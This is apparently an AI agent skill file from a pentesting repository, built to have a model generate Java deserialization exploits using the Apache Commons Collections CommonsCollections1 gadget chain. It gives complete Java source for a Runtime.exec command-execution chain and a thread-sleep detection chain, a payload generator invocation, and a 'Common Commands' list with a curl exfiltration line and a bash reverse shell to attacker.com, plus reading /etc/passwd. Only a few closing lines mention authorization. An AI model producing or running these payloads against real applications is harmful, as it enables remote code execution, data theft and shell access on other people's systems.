Hacktricks-skills java-deserialization-payloads
Generate and explain Java deserialization payloads using Apache Commons Collections gadget chains. Use this skill whenever the user mentions Java deserialization, Apache Commons Collections, gadget chains, ysoserial, CommonsCollections1, or needs to create payloads for command execution or blind testing (thread sleep) in Java applications. This skill helps security researchers understand and generate deserialization exploits.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload/SKILL.MDJava Deserialization Payloads
A skill for generating and explaining Java deserialization payloads, specifically focusing on Apache Commons Collections gadget chains.
When to Use This Skill
Use this skill when:
- You need to generate Java deserialization payloads for security testing
- You want to understand how CommonsCollections1 or similar gadget chains work
- You need to create blind testing payloads (thread sleep) to detect vulnerabilities
- You're working with ysoserial or similar deserialization tools
- You need to explain deserialization exploitation to others
CommonsCollections1 Gadget Chain
The CommonsCollections1 payload uses Apache Commons Collections transformers to chain together method calls that result in arbitrary command execution.
How It Works
The payload chains four transformers together:
- ConstantTransformer - Returns the
classRuntime - InvokerTransformer - Calls
on Runtime classgetMethod("getRuntime") - InvokerTransformer - Invokes
to get a Runtime instancegetRuntime() - InvokerTransformer - Calls
on the Runtime instanceexec(command)
The chain is triggered by
LazyMap.get() which calls the factory's transform() method on any key lookup.
Equivalent Code
The payload is equivalent to:
Runtime.getRuntime().exec(new String[]{"calc.exe"});
Or more precisely:
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
Generating Payloads
Command Execution Payload
Use the
generate_commons_collections_payload.py script to create payloads:
# Generate command execution payload python scripts/generate_commons_collections_payload.py \ --type command \ --command "calc.exe" \ --output payload.java # Generate thread sleep payload for blind testing python scripts/generate_commons_collections_payload.py \ --type sleep \ --duration 5000 \ --output sleep_payload.java
Manual Payload Construction
For command execution:
import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.*; import java.util.Map; import java.util.HashMap; public class CommonsCollections1Payload { public static void main(String... args) { String[] command = {"YOUR_COMMAND_HERE"}; final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, command) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); lazyMap.get("anything"); } }
For blind testing (thread sleep):
import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.*; import java.util.Map; import java.util.HashMap; public class CommonsCollections1Sleep { public static void main(String... args) { final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Thread.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"sleep", new Class[]{Long.TYPE}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{7000L}}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); lazyMap.get("anything"); } }
Understanding the Chain
The LazyMap Mechanism
Map map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); lazyMap.get("anything");
When
lazyMap.get("anything") is called:
checks if the key existsLazyMap.get()- If not, it calls
where factory is thefactory.transform(key)ChainedTransformer
iterates through all transformersChainedTransformer.transform()- Each transformer's output becomes the next transformer's input
- The final result is the executed command
Transform Flow
Input: "anything" ↓ Transformer 1: ConstantTransformer(Runtime.class) ↓ Output: Runtime.class ↓ Transformer 2: InvokerTransformer("getMethod", ...) ↓ Output: Method object for getRuntime() ↓ Transformer 3: InvokerTransformer("invoke", ...) ↓ Output: Runtime instance ↓ Transformer 4: InvokerTransformer("exec", ...) ↓ Output: Process handle (command executed)
Triggering the Payload
The payload itself doesn't execute until deserialization occurs. In ysoserial, the
AnnotationInvocationHandler gadget is used because when it's deserialized, it invokes the get() method which triggers the entire chain.
Common Commands
Linux
- Check user contextid
- Current userwhoami
- Read passwd filecat /etc/passwd
- Exfiltrate datacurl http://attacker.com/$(id)
- Reverse shellbash -i >& /dev/tcp/attacker.com/4444 0>&1
Windows
- Calculator (test)calc.exe
- Current usercmd.exe /c whoami
- PowerShell commandspowershell -c "..."
Blind Testing
Use thread sleep payloads to detect deserialization vulnerabilities:
- 5 second sleep - Quick test
- 10 second sleep - More noticeable
- 30 second sleep - Clear indicator
If the application response is delayed by the sleep duration, the vulnerability is confirmed.
Additional Resources
Safety Notes
- Only use these payloads on systems you own or have explicit permission to test
- Deserialization vulnerabilities are critical (CVSS 9.8+)
- Always have proper authorization before exploitation
- Document findings responsibly